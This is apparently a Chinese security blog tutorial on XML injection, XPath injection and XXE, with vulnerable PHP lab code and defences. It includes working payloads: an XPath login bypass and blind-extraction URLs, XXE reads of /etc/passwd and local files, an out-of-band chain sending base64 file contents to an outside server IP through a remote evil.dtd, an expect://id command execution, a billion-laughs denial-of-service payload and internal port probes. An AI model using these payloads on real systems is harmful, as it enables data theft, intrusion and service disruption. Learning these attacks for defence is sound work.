XXE漏洞学习
自己对这个漏洞不懂原理,以及不会深入利用,就看看师傅的文章,搬运顺便复现部分场景吧。
[TOC]
XML
什么是XML
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
XML和HTML的区别
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
XML被用来做什么
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
XML基本格式
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
基本语法
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
DTD
基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
实体引用
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ' " 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
示例代码
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换。
CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
DTD元素
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体
<!ENTITY 实体名称 "实体的值">
内部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体
外部实体,用来引入外部资源。有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同:
PHP支持的协议会更多一些,但需要一定的扩展:
PHP引用外部实体,常见的利用协议:
file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的。
XML注入
XML的设计宗旨是传输数据,而非显示数据。
XML注入是一种古老的技术,通过利用闭合标签改写XML文件实现的。
XML注入简介
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
XML注入前提
(1)用户能够控制数据的输入
(2)程序有拼凑的数据
案例演示
test.xml
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入。如攻击者输入:
root</password></admin><admin id="3"><username>hack</username><password>hacker
# 在原文中给出的是 admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>,我觉得这样不对,当然也有可能是我想错了,先填坑吧
那么上述代码就会变为
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。
XML注入两大要素:标签闭合和获取XML表结构
XML注入防御
(1)对用户的输入进行过滤
(2)对用户的输入进行转义
XPath注入
Xpath注入简介
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。
XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
Xpath攻击特点
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。
XPath注入攻击同SQL注入攻击类似,但与SQL注入相比,XPath具有的优势:
- 广泛性
只要是利用XPath语法的Web 应用程序若未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。而在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。 - 危害性大
XPath语言几乎可以没有访问控制限制的引用XML文档的所有部分。而在SQL注入中,一个“用户
”的权限可能被限制到 某一特定的表、列或者查询。
XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。
XPath注入攻击原理与应用
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。
注入对象不是数据库users表,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookie
,headers
,request
parameters/input
等。
首先要去了解xPath基础语法—–> xPath注入学习之基础语法学习
如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。
Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。
XPath直接注入
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
test.php(用于接受传入参数,并进行xml查询)
<?php
$xml=simplexml_load_file('test.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
echo '<br />Password:'.$value->password;
}
}
?>
simplexml_load_file()
函数
返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据
我们先传入正常参数
http://127.0.0.1/test.php?name=test1&pwd=test1
成功返回了我们需要的值
如果我们在username中输入恶意的值,比如
' or 1=1 or '' = '
那么我们的XPath查询语句就变为
/root/users/user[username/text()='' or 1=1 or '' = '' and password/text()='test1'] #and的优先级高于or
我们看出现了什么情况
这个语句导致了什么呢?就是所有的user元素都满足要求
上面这个字符串会在逻辑上使查询一直返回 true,并将一直允许攻击者访问系统
攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。
XPath盲注
如果想要构造恶意语句遍历出整个XML文档,一般步骤如下:
1.盲注根节点
利用count(/*)判断根下节点:
http://127.0.0.1/test.php?name=' or count(/*) = 1 or '1'='2&pwd=1
这条语句的作用是什么呢?我们来刨析下
/root/users/user[username/text()='' or count(/*) = 1 or '1'='2' and password/text()='1']
对于这个XPath语句,首先执行and语句
'1'='2' and password/text()='1']
这条恒为假
然后
username/text()='' or count(/*) = 1
这条在根节点为1的时候为真,不是1就为假
然后简化一下
真/假 or 假
我们发现,判断这条语句是否为真的关键点是
count(/*) = 1
当根节点为1时,就可以选出所以user元素,不是1时,就无法选出,由此就可以判断根节点个数
仅仅判断了个数是不够的,还要知道它是什么字符才可以,可以使用substring分割根节点的每个字符,猜解第一级节点
http://127.0.0.1/test.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2&pwd=1
http://127.0.0.1/test.php?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2&pwd=1
根据这样的原理写一个脚本就ok了
2.盲注root的下一级节点
判断root是否有下一级(1个)节点
http://127.0.0.1/test.php?name=' or count(/root/*) = 1 or '1'='2&pwd=1
同理猜解root下一级节点
http://127.0.0.1/test.php?name=' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2&pwd=1
http://127.0.0.1/test.php?name=' or substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2&pwd=1
一直按照这样的步骤往下即可
XPath注入危害
- 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据。
- 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
- 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。
XPath注入防御
- 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
- 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
- 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
- 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
- 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。
XML外部实体注入(XXE)
XXE漏洞简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
simplexml_load_string()可以读取XML
本地环境搭建
test.php
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
file_get_contents
获取客户端输入内容new DOMDocument()
初始化XML解析器loadXML($xmlfile)
加载客户端输入的XML内容simplexml_import_dom($dom)
获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。- 获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容。
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///E:/phpstudy_pro/WWW/flag.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>
成功读取了我e盘的文件
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
任意文件读取
我们在这里采用一个靶场来分析
靶场源码:
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
有回显
payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///E:/phpstudy_pro/WWW/flag.txt">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
当然,也可以使用php://filter
协议读取qwzf.txt文件内容(也可以读取其他类型的文件,如:php文件)
无回显
无回显的话,就会麻烦许多
我们先修改源码,禁掉输出代码和报错信息,改成无回显。
遇到无回显,可以通过Blind XXE
方法加上外带数据通道来提取数据,先使用php://filter
协议获取目标文件的内容,然后将内容以http
请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。
这里我的服务器ip为:39.105.71.63
构造payload
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy_pro/WWW/flag.txt">
<!ENTITY % dtd SYSTEM "http://39.105.71.63:66/evil.dtd">
%dtd;
%send;
]>
远程服务器部署evil.dtd内容为:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://39.105.71.63:66/?%file;'>"
>
%all;
内部的%号要进行实体编码成%
我们直接把这个文件放到一个网站上,我这里就直接利用宝塔咯(我是懒狗)
然后向我们本地的靶机发送payload
成功回显出了文件
无回显攻击流程:
- 先调用
%dtd
,请求远程服务器(攻击服务器)上的evil.dtd
。 - 再调用
evil.dtd
中的%file
。%file
获取受攻击的服务器上面的敏感文件,然后将%file
的返回结果传到%send
。 - 然后调用
%send;
把读取到的数据发送到远程服务器上。
这样就实现了外带数据的效果,解决 XXE 无回显的问题。
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
通过XXE可以实现RCE的实例很少。
拒绝服务攻击(DDOS)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
探测内网端口与探测内网网站
这个我没复现成功。。。先拿别人的吧
漏洞代码:
test.php
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
攻击内网网站
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
XXE漏洞防御
1、使用开发语言提供的禁用外部实体的方法
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE
和<\!ENTITY
,或者SYSTEM
和PUBLIC
。
3、不允许XML中含有自己定义的DTD
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!